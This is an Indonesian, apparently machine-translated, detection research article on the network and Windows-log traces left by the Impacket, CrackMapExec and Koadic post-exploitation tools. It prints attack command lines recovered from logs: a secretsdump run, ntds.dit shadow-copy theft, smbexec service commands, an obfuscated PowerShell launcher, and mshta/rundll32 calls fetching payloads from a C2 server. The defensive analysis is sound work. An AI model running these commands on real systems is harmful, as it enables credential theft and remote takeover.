
Jumlah serangan di sektor korporasi meningkat setiap tahun: misalnya,
pada 2017, 13% lebih banyak insiden unik dicatat dibandingkan pada 2016, dan pada akhir 2018,
27% lebih banyak insiden dicatat daripada pada periode sebelumnya. Termasuk yang mana alat kerja utamanya adalah sistem operasi Windows. Pada 2017-2018, APT Dragonfly, APT28,
kelompok MuddyWater APT menyerang organisasi pemerintah dan militer di Eropa, Amerika Utara, dan Arab Saudi. Dan mereka menggunakan tiga alat untuk ini -
Impacket ,
CrackMapExec dan
Koadic . Kode sumber mereka terbuka dan tersedia di GitHub.
Perlu dicatat bahwa alat-alat ini tidak digunakan untuk penetrasi awal, tetapi untuk pengembangan serangan dalam infrastruktur. Penyerang menggunakannya pada berbagai tahap serangan, mengikuti setelah mengatasi perimeter. Omong-omong, ini sulit untuk dideteksi dan seringkali hanya dengan bantuan teknologi untuk
mengidentifikasi jejak kompromi dalam lalu lintas jaringan atau alat yang dapat
mendeteksi tindakan aktif penyerang setelah ia menembus infrastruktur . Alat ini menyediakan banyak fungsi - dari mentransfer file hingga berinteraksi dengan registri dan menjalankan perintah pada mesin jarak jauh. Kami melakukan studi tentang alat-alat ini untuk menentukan aktivitas jaringan mereka.
Apa yang perlu kami lakukan:
- Memahami cara kerja alat peretasan . Cari tahu apa yang dibutuhkan penyerang untuk beroperasi dan teknologi apa yang dapat mereka gunakan.
- Temukan apa yang tidak terdeteksi oleh alat keamanan informasi di tahap pertama serangan . Tahap intelijen dapat dilewati, baik karena penyerang adalah penyerang internal, atau karena penyerang memanfaatkan celah dalam infrastruktur yang sebelumnya tidak diketahui. Ada peluang untuk memulihkan seluruh rangkaian tindakannya, karenanya keinginan untuk mendeteksi gerakan lebih lanjut.
- Menghilangkan alarm palsu dari alat deteksi intrusi . Kita tidak boleh lupa bahwa ketika mendeteksi tindakan tertentu atas dasar kecerdasan saja, sering terjadi kesalahan. Biasanya dalam infrastruktur ada sejumlah cara yang memadai, tidak dapat dibedakan dari pandangan pertama yang sah, untuk mendapatkan informasi.
Apa yang diberikan alat ini kepada penyerang? Jika ini adalah Impacket, maka penyerang mendapatkan perpustakaan besar modul yang dapat digunakan pada berbagai tahap serangan, mengikuti penetrasi. Banyak alat menggunakan modul Impacket di dalam diri mereka - misalnya, Metasploit. Ini memiliki dcomexec dan wmiexec untuk eksekusi perintah jarak jauh, secretsdump untuk mengambil akun dari memori yang ditambahkan dari Impacket. Akibatnya, deteksi yang benar atas aktivitas perpustakaan semacam itu juga akan memastikan deteksi turunannya.
Tentang CrackMapExec (atau hanya CME), pencipta secara kebetulan menulis "Didukung oleh Impacket". Selain itu, CME memiliki fungsionalitas siap pakai untuk skenario populer: ini adalah Mimikatz untuk menerima kata sandi atau hash mereka, dan penerapan Meterpreter atau agen Empire untuk eksekusi jarak jauh, dan Bloodhound di kapal.
Alat ketiga yang kami pilih adalah Koadic. Ini cukup segar, dipresentasikan pada konferensi hacker internasional DEFCON 25 pada tahun 2017 dan memiliki pendekatan non-standar: bekerja melalui HTTP, Java Script dan Microsoft Visual Basic Script (VBS). Pendekatan ini disebut hidup dari tanah: alat ini menggunakan seperangkat dependensi dan pustaka yang dibangun ke dalam Windows. Pembuatnya menyebutnya COM Command Control, atau C3.
IMPACKET
Fungsionalitas Impacket sangat luas, mulai dari pengintaian di dalam AD dan mengumpulkan data dari server MS SQL internal, diakhiri dengan teknik untuk memperoleh kredensial: ini adalah serangan relai SMB dan menerima file ntds.dit yang berisi hash kata sandi pengguna dari pengontrol domain. Impacket juga mengeksekusi perintah dari jarak jauh menggunakan empat metode berbeda: melalui WMI, layanan untuk mengelola Windows scheduler, DCOM dan SMB, dan untuk ini diperlukan kredensial.
Secretsdump
Mari kita lihat secretsdump. Ini adalah modul yang tujuannya dapat berupa mesin pengguna dan pengontrol domain. Dengan menggunakannya, Anda bisa mendapatkan salinan area memori LSA, SAM, SECURITY, NTDS.dit, sehingga dapat dilihat pada berbagai tahap serangan. Langkah pertama dalam pengoperasian modul adalah otentikasi melalui SMB, yang memerlukan kata sandi pengguna atau hash-nya untuk secara otomatis melakukan serangan Pass the Hash. Berikutnya adalah permintaan untuk membuka akses ke Service Control Manager (SCM) dan mendapatkan akses ke registri menggunakan protokol winreg, menggunakan mana penyerang dapat mengetahui data cabang yang menarik baginya dan mendapatkan hasil melalui SMB.
Dalam gbr. 1 kita melihat bagaimana tepatnya ketika menggunakan akses protokol winreg diperoleh dengan mendaftarkan kunci dengan LSA. Untuk melakukan ini, gunakan perintah DCERPC dengan opcode 15 - OpenKey.
Fig. 1. Membuka kunci registri menggunakan protokol winregSelanjutnya, ketika akses kunci diperoleh, nilai-nilai disimpan menggunakan perintah SaveKey dengan opcode 20. Impacket membuat ini sangat spesifik. Ini menyimpan nilai ke file yang namanya adalah string 8 karakter acak dengan penambahan .tmp. Selain itu, pembongkaran lebih lanjut dari file ini terjadi melalui SMB dari direktori System32 (Gbr. 2).
Fig. 2. Skema untuk mendapatkan kunci registri dari mesin jarak jauhTernyata Anda dapat mendeteksi aktivitas seperti itu di jaringan dengan menanyakan cabang registry tertentu menggunakan protokol winreg, nama tertentu, perintah, dan urutannya.
Modul ini juga meninggalkan jejak di log peristiwa Windows, yang karenanya mudah dideteksi. Misalnya, sebagai hasil dari perintah
secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DC
di log Windows Server 2016, kita akan melihat urutan peristiwa berikut:
1. 4624 - Logon jarak jauh.
2. 5145 - verifikasi hak akses ke layanan winreg jarak jauh.
3. 5145 - memeriksa izin file di direktori System32. File tersebut memiliki nama acak yang disebutkan di atas.
4. 4688 - membuat proses cmd.exe yang meluncurkan vssadmin:
โC:\windows\system32\cmd.exe" /Q /c echo c:\windows\system32\cmd.exe /C vssadmin list shadows ^> %SYSTEMROOT%\Temp\__output > %TEMP%\execute.bat & c:\windows\system32\cmd.exe /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat
5. 4688 - membuat proses dengan perintah:
"C:\windows\system32\cmd.exe" /Q /c echo c:\windows\system32\cmd.exe /C vssadmin create shadow /For=C: ^> %SYSTEMROOT%\Temp\__output > %TEMP%\execute.bat & c:\windows\system32\cmd.exe /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat
6. 4688 - membuat proses dengan perintah:
"C:\windows\system32\cmd.exe" /Q /c echo c:\windows\system32\cmd.exe /C copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\Windows\NTDS\ntds.dit %SYSTEMROOT%\Temp\rmumAfcn.tmp ^> %SYSTEMROOT%\Temp\__output > %TEMP%\execute.bat & c:\windows\system32\cmd.exe /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat
7. 4688 - membuat proses dengan perintah:
"C:\windows\system32\cmd.exe" /Q /c echo c:\windows\system32\cmd.exe /C vssadmin delete shadows /For=C: /Quiet ^> %SYSTEMROOT%\Temp\__output > %TEMP%\execute.bat & c:\windows\system32\cmd.exe /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat
Smbexec
Seperti banyak alat pasca eksploitasi, Impacket memiliki modul untuk eksekusi perintah jarak jauh. Kami akan fokus pada smbexec, yang menyediakan shell interaktif pada mesin jarak jauh. Modul ini juga memerlukan otentikasi SMB dengan kata sandi atau hash-nya. Dalam gbr. 3 kita melihat contoh bagaimana alat tersebut bekerja, dalam hal ini adalah konsol administrator lokal.
Fig. 3. Konsol Interaktif SmbexecLangkah pertama dalam smbexec setelah otentikasi adalah membuka SCM dengan perintah OpenSCManagerW (15). Permintaan ini patut diperhatikan: di dalamnya, bidang MachineName diatur ke DUMMY.
Fig. 4. Permintaan untuk membuka Manajer Kontrol LayananSelanjutnya, layanan dibuat menggunakan perintah CreateServiceW (12). Dalam kasus smbexec, kita dapat melihat logika membangun tim yang sama setiap kali. Dalam gbr. 5 hijau menunjukkan parameter perintah yang tidak berubah-ubah, kuning - apa yang dapat diubah oleh penyerang. Sangat mudah untuk memperhatikan bahwa nama file yang dapat dieksekusi, direktori dan file output dapat diubah, tetapi sisanya dapat diubah jauh lebih sulit tanpa melanggar logika modul Impacket.
Fig. 5. Permintaan untuk membuat layanan menggunakan Service Control ManagerSmbexec juga meninggalkan jejak yang jelas di log peristiwa Windows. Dalam log Windows Server 2016 untuk shell interaktif dengan perintah ipconfig, kita akan melihat urutan peristiwa berikut:
1. 4697 - pemasangan layanan pada mesin korban:
%COMSPEC% /Q /c echo cd ^> \\127.0.0.1\C$\__output 2^>^&1 > %TEMP%\execute.bat & %COMSPEC% /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat
2. 4688 - pembuatan proses cmd.exe dengan argumen dari paragraf 1.
3. 5145 - memeriksa izin pada file __output di direktori C $.
4. 4697 - pemasangan layanan pada mesin korban.
%COMSPEC% /Q /c echo ipconfig ^> \\127.0.0.1\C$\__output 2^>^&1 > %TEMP%\execute.bat & %COMSPEC% /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat
5. 4688 - membuat proses cmd.exe dengan argumen dari paragraf 4.
6. 5145 - memeriksa hak akses ke file __output di direktori C $.
Impacket adalah dasar untuk mengembangkan alat serangan. Ini mendukung hampir semua protokol dalam infrastruktur Windows dan pada saat yang sama memiliki karakteristiknya sendiri. Berikut adalah permintaan winreg tertentu, dan penggunaan API SCM dengan karakteristik pembentukan perintah, dan format nama file, dan SMB share SYSTEM32.
CRACKMAPEXEC
Alat CME dirancang terutama untuk mengotomatisasi tindakan-tindakan rutin yang harus dilakukan penyerang untuk maju dalam jaringan. Ini memungkinkan Anda untuk bekerja bersama dengan agen Empire yang terkenal dan Meterpreter. Untuk menjalankan perintah secara terselubung, CME dapat mengaburkannya. Menggunakan Bloodhound (alat intelijen terpisah), penyerang dapat mengotomatiskan pencarian untuk sesi administrator domain aktif.
Anjing pelacak
Bloodhound sebagai alat independen memungkinkan untuk kecerdasan canggih dalam jaringan. Itu mengumpulkan data tentang pengguna, mesin, grup, sesi dan datang dalam bentuk skrip di PowerShell atau file biner. Protokol berbasis LDAP atau SMB digunakan untuk mengumpulkan informasi. Modul integrasi CME memungkinkan Anda untuk mengunduh Bloodhound ke mesin korban, menjalankan dan menerima data yang dikumpulkan setelah eksekusi, dengan demikian mengotomatiskan tindakan dalam sistem dan membuatnya kurang terlihat. Shell grafis Bloodhound menyajikan data yang dikumpulkan dalam bentuk grafik, yang memungkinkan Anda menemukan jalur terpendek dari mesin penyerang ke administrator domain.
Fig. 6. Antarmuka BloodhoundUntuk berjalan di mesin korban, modul membuat tugas menggunakan ATSVC dan SMB. ATSVC adalah antarmuka untuk bekerja dengan Penjadwal Tugas Windows. CME menggunakan fungsi NetrJobAdd (1) untuk membuat tugas melalui jaringan. Contoh dari apa yang dikirim modul CME ditunjukkan pada gambar. 7: Ini adalah panggilan ke cmd.exe dan kode yang dikaburkan sebagai argumen dalam format XML.
Gbr. 7. Membuat tugas melalui CMESetelah tugas selesai, mesin korban meluncurkan Bloodhound itu sendiri, dan ini bisa dilihat di lalu lintas. Modul ini ditandai dengan permintaan LDAP untuk menerima grup standar, daftar semua mesin dan pengguna di domain, menerima informasi tentang sesi pengguna aktif melalui permintaan SRVSVC NetSessEnum.
Fig. 8. Mendapatkan daftar sesi aktif melalui SMBSelain itu, peluncuran Bloodhound pada mesin korban dengan audit diaktifkan disertai dengan acara dengan ID 4688 (pembuatan proses) dan nama proses
ยซC:\Windows\System32\cmd.exeยป
. Yang perlu diperhatikan di dalamnya adalah argumen baris perintah:
cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOiN'')( [chAR[]](91 , 78, 101,116 , 46, 83 , 101 , โฆ , 40,41 )-jOIN'' ) "
Enum_avproducts
Dari sudut pandang fungsionalitas dan implementasi, modul enum_avproducts sangat menarik. WMI memungkinkan menggunakan bahasa query WQL untuk menerima data dari berbagai objek Windows, yang pada dasarnya adalah apa yang menggunakan modul CME ini. Ini menghasilkan permintaan ke kelas AntiSpywareProduct dan AntiMirusProduct tentang perlindungan yang dipasang di mesin korban. Untuk mendapatkan data yang diperlukan, modul terhubung ke namespace root \ SecurityCenter2, kemudian menghasilkan kueri WQL dan menerima respons. Dalam gbr. Gambar 9 menunjukkan isi permintaan dan tanggapan tersebut. Dalam contoh kami, Windows Defender ditemukan.
Fig. 9. Aktivitas jaringan modul enum_avproductsSeringkali, audit WMI (Lacak Aktivitas WMI), di mana Anda dapat menemukan informasi yang berguna tentang kueri WQL, dapat dimatikan. Tetapi jika diaktifkan, jika skrip enum_avproducts dijalankan, acara dengan ID 11 akan disimpan. Ini akan berisi nama pengguna yang mengirim permintaan dan nama di root \ SecurityCenter2 namespace.
Setiap modul CME mengungkapkan artefak mereka sendiri, apakah itu pertanyaan WQL spesifik atau pembuatan jenis tugas tertentu dalam penjadwal tugas dengan kebingungan dan aktivitas tipikal untuk Bloodhound di LDAP dan SMB.
Koadic
Fitur khas Koadic adalah penggunaan interpreter Windows JavaScript dan VBScript bawaan. Dalam hal ini, ia mengikuti tren hidup di luar negeri - yaitu, ia tidak memiliki ketergantungan eksternal dan menggunakan alat Windows standar. Ini adalah alat untuk Command & Control (CnC) penuh, karena setelah infeksi, "implan" dipasang pada mesin, yang memungkinkannya dikendalikan. Mesin seperti itu, dalam terminologi Koadic, disebut "zombie." Dengan kurangnya hak istimewa untuk pekerjaan penuh di sisi korban, Koadic memiliki kemampuan untuk membesarkan mereka menggunakan teknik bypass UAC.
Fig. 10. Command Shell KoadicKorban harus memulai komunikasi dengan server Command & Control itu sendiri. Untuk melakukan ini, ia perlu mengajukan permohonan untuk URI yang telah disiapkan sebelumnya dan mendapatkan badan Koadic utama menggunakan salah satu stager. Dalam gbr. 11 menunjukkan contoh untuk stager mshta.
Fig. 11. Menginisialisasi sesi dengan server CnCMenggunakan variabel respon WS, menjadi jelas bahwa eksekusi terjadi melalui WScript.Shell, dan variabel STAGER, SESSIONKEY, JOBKEY, JOBKEYPATH, EXPIRE berisi informasi kunci tentang parameter sesi saat ini. Ini adalah pasangan permintaan-respons pertama dalam koneksi HTTP ke server CnC. Permintaan selanjutnya terkait langsung dengan fungsi modul yang disebut (implan). Semua modul Koadic hanya berfungsi dengan sesi aktif dengan CnC.
Mimikatz
Sama seperti CME bekerja dengan Bloodhound, Koadic bekerja dengan Mimikatz sebagai program mandiri dan memiliki beberapa cara untuk menjalankannya. Di bawah ini adalah pasangan permintaan-respons untuk memuat implan Mimikatz.
Fig. 12. Transfer Mimikatz ke KoadicAnda mungkin memperhatikan bagaimana format URI dalam permintaan telah berubah. Di dalamnya muncul nilai variabel csrf, yang bertanggung jawab untuk modul yang dipilih. Jangan memperhatikan namanya; kita semua tahu bahwa CSRF biasanya dipahami secara berbeda. Sebagai tanggapan, badan utama yang sama dari Koadic masuk, di mana kode yang terkait dengan Mimikatz ditambahkan. Itu cukup besar, jadi pertimbangkan poin-poin utama. Di depan kita adalah perpustakaan Mimikatz yang disandikan base64, kelas .NET berseri yang akan menyuntikkannya, dan argumen untuk menjalankan Mimikatz. Hasil eksekusi ditransmisikan melalui jaringan secara jelas.
Fig. 13. Hasil menjalankan Mimikatz pada mesin jarak jauhExec_cmd
Koadic juga memiliki modul yang dapat menjalankan perintah dari jarak jauh. Di sini kita akan melihat metode yang sama menghasilkan URI dan variabel akrab sid dan csrf. Dalam kasus modul exec_cmd, kode ditambahkan ke badan yang mampu mengeksekusi perintah shell. Kode berikut ditunjukkan dalam respons HTTP dari server CnC.
Fig. 14. Kode implan exec_cmdVariabel GAWTUUGCFI dengan atribut WS yang akrab diperlukan untuk eksekusi kode. Dengan bantuannya, implan memanggil shell, memproses dua cabang kode - shell.exec dengan kembalinya aliran data output dan shell.run tanpa kembali.
Koadic bukan alat khas, tetapi memiliki artefak sendiri yang dapat ditemukan dalam lalu lintas yang sah:
- pembentukan permintaan HTTP khusus,
- menggunakan winHttpRequests API,
- membuat objek WScript.Shell melalui ActiveXObject,
- tubuh dieksekusi besar.
Koneksi awal memulai pemasangan, sehingga dimungkinkan untuk mendeteksi aktivitasnya melalui peristiwa Windows. Untuk mshta, ini adalah acara 4688, yang berbicara tentang membuat proses dengan atribut peluncuran:
C:\Windows\system32\mshta.exe http://192.168.211.1:9999/dXpT6
Selama eksekusi Koadic, Anda dapat melihat 4688 acara lainnya dengan atribut yang menggambarkannya dengan sempurna:
rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;\..\..\..\mshtml,RunHTMLApplication rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;\..\..\..\mshtml,RunHTMLApplication "C:\Windows\system32\cmd.exe" /q /c chcp 437 & net session 1> C:\Users\user02\AppData\Local\Temp\6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1 "C:\Windows\system32\cmd.exe" /q /c chcp 437 & ipconfig 1> C:\Users\user02\AppData\Local\Temp\721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1
Kesimpulan
Tren kehidupan dari tanah semakin populer di kalangan pengganggu. Mereka menggunakan alat dan mekanisme Windows bawaan untuk kebutuhan mereka. Kami melihat bagaimana alat Koadic, CrackMapExec, dan Impacket yang populer yang mengikuti prinsip ini semakin banyak ditemukan dalam laporan APT. Jumlah garpu di GitHub untuk alat-alat ini juga terus bertambah, yang baru muncul (sekarang sudah ada sekitar seribu). Tren ini mendapatkan popularitas karena kesederhanaannya: penyerang tidak membutuhkan alat pihak ketiga, mereka sudah berada di mesin korban dan membantu memotong alat perlindungan. Kami fokus mempelajari konektivitas jaringan: setiap alat yang dijelaskan di atas meninggalkan jejak pada lalu lintas jaringan; studi terperinci tentang mereka memungkinkan kami untuk mengajarkan produk kami
PT Network Attack Discovery untuk mendeteksi mereka, yang pada akhirnya membantu untuk menyelidiki seluruh rantai insiden cyber yang melibatkan mereka.
Penulis :
- Anton Tyurin, Kepala Layanan Ahli, Pusat Keamanan Pakar PT, Teknologi Positif
- Egor Podmokov, pakar, Pusat Pakar Keamanan PT, Teknologi Positif